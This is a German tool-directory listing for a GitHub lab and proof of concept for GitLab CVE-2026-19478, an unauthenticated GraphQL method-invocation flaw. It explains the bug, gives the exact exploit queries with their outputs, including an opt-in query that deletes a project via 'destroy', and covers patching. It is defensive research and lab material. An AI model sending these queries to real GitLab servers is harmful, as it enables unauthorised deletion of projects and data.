Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsWebsicherheitPenetrationstestsLabs & Praxis
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Reproduzierbares A/B-Lab + sicheres PoC für GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Repository anzeigen
81vor 6 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-19478 — GitLab GraphQL @gl_introduced: nicht authentifizierter Aufruf beliebiger Methoden (Validierungslabor + PoC)

Reproduzierbares A/B-Labor und sicherer PoC für CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Kritisch). Ein nicht authentifizierter Angreifer kann beliebige 0-Argument-Ruby-Methoden auf GraphQL-aufgelösten Domänenobjekten aufrufen — z. B. Project#destroy aufrufen, um ein öffentliches Projekt ohne Anmeldedaten zu löschen.

Enthält außerdem einen PoC für die verwandte CVE-2026-19650 (GraphQL-Multiplex-Query-Tausch), die im selben Release behoben wurde.

Nur für autorisierte Sicherheitstests / zu Bildungszwecken. Alles läuft gegen Ihre eigenen lokalen Container.


1. Die Schwachstelle

GitLab liefert eine GraphQL-Client-Direktive @gl_introduced(version: "X.Y.Z") (Vorwärtskompatibilität für Rolling Deploys). Wenn eine Abfrage ein Feld mit einer neueren Version als der laufende Server nennt, entfernt ein Tracer (Gitlab::Graphql::VersionFilter::IntroducedTracer) es vor der statischen Validierung, sodass die Abfrage validiert wird. Danach führt der Server das Dokument zur Ausführung erneut aus und lässt unbekannte Felder auf einen Fallback auflösen.

Tool herunterladen
ursprüngliche

Der Fehler liegt im Fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, vor dem Patch):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Ein GraphQL::Schema::Field ohne Resolver wird von graphql-ruby aufgelöst, indem object.public_send(field_name) aufgerufen wird (graphql-ruby lib/graphql/schema/field.rb — der respond_to?(@method_sym) → public_send-Zweig wird ausgeführt, bevor fallback_value überhaupt berücksichtigt wird, daher war fallback_value: nil toter Code). Unter @gl_introduced wählt der Client also einen Feldnamen, der einer beliebigen 0-Argument-Methode auf dem aktuell aufgelösten Objekt entspricht, und der Server führt ihn aus.

Löse ein öffentliches Projekt auf, fordere ein „Zukunftsfeld“ namens destroy an → der Server führt Project#destroy aus.

  • Auswirkung: Nicht authentifiziertes Ändern/Löschen öffentlicher Projekte und Benutzerdaten (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Betroffen: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Behoben: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — der Fallback verwendet jetzt einen expliziten Resolvers::NilResolver, der nil zurückgibt und nie eine Methode aufruft.

Einschränkungen des Auslösers (empirisch ermittelt)

  1. @gl_introduced(version:) muss größer als die Serverversion sein (verwende 99.0.0).
  2. Der Feldname ist exakt der Methodenname, wörtlich (snake_case wie in Ruby definiert, z. B. to_param, destroy).
  3. Die Elternauswahl benötigt ≥1 echtes Geschwisterfeld (z. B. id), sonst ist das gefilterte Dokument eine leere Auswahlmenge und GitLab gibt einen Validierungsfehler "Field must have selections" zurück.

2. Schnellstart (A/B-Labor: verwundbare 19.2.2 vs. gepatchte 19.2.4)

Voraussetzungen: Docker + docker compose, ~8 GB freier RAM, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh gibt pro Instanz aus: die Basis-URL, den Pfad des angelegten öffentlichen Projekts (root/pub) und ein Admin-PAT.


3. PoC ausführen

3a. Erkennung (SICHER, nicht destruktiv — Standard)

Verwendet die Methodenaufruf-Primitive mit einer harmlosen Methode (to_param). Es werden keine Daten verändert.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Erwartet:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

bzw. auf der gepatchten Instanz:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Destruktive Auswirkung nachweisen (OPT-IN — löscht ein Wegwerfprojekt, das es selbst erstellt)

Erstellt über die REST-API ein eigenes öffentliches Wegwerfprojekt (benötigt das Admin-Token aus setup.sh), löscht es dann über den nicht authentifizierten GraphQL-Angriff und bestätigt, dass das Projekt verschwunden ist.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Erwartet (verwundbar):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

Auf der gepatchten Instanz meldet derselbe Lauf, dass das Projekt weiterhin 200 OK zurückgibt und destroy null ist.

3c. Verwandte CVE-2026-19650 (Multiplex-Query-Tausch) — SICHER

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Gegen die eigene Instanz testen

Richte --url auf ein GitLab, das du testen darfst, und --project auf ein öffentliches Projekt darauf:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

Die Erkennung ist nicht destruktiv. Verwende --prove-destroy nicht gegen etwas, das dir nicht gehört.


5. Behebung

Führe ein Upgrade auf 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 oder neuer durch. Der Fix leitet den Fallback über Resolvers::NilResolver (gibt nil zurück, ruft nie eine Objektmethode auf). Wenn du nicht sofort aktualisieren kannst, blockiere die @gl_introduced-Direktive / den Version-Filter-Pfad an einem Proxy oder schränke den nicht authentifizierten GraphQL-Zugriff ein.

6. Dateien

DateiZweck
docker-compose.ymlStartet verwundbare 19.2.2-ce (:8222) + gepatchte 19.2.4-ce (:8224)
setup.shWartet auf Bereitschaft, legt öffentliches Projekt root/pub + Admin-Token pro Instanz an
poc_cve_2026_19478.pyErkennung (sicher) + optionaler --prove-destroy-Auswirkungsnachweis
poc_cve_2026_19650.pyMultiplex-Query-Tausch-Erkennung (sicher)

7. Sicherheitshinweise

  • Alles zielt auf Container, die du selbst betreibst. Der Standard-PoC ist nicht destruktiv.
  • --prove-destroy erstellt und löscht ein eigenes Wegwerfprojekt; es berührt weder root/pub noch deine Daten.
  • Melder: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), über GitLab HackerOne. Öffentliche technische Offenlegung war ~90 Tage nach dem Patch unter Embargo; dieses Labor leitet den Mechanismus aus den öffentlichen Fix-Commits e283c6adeb3d (Fallback) und d2ea4b971a98 (Multiplex-Tausch) ab.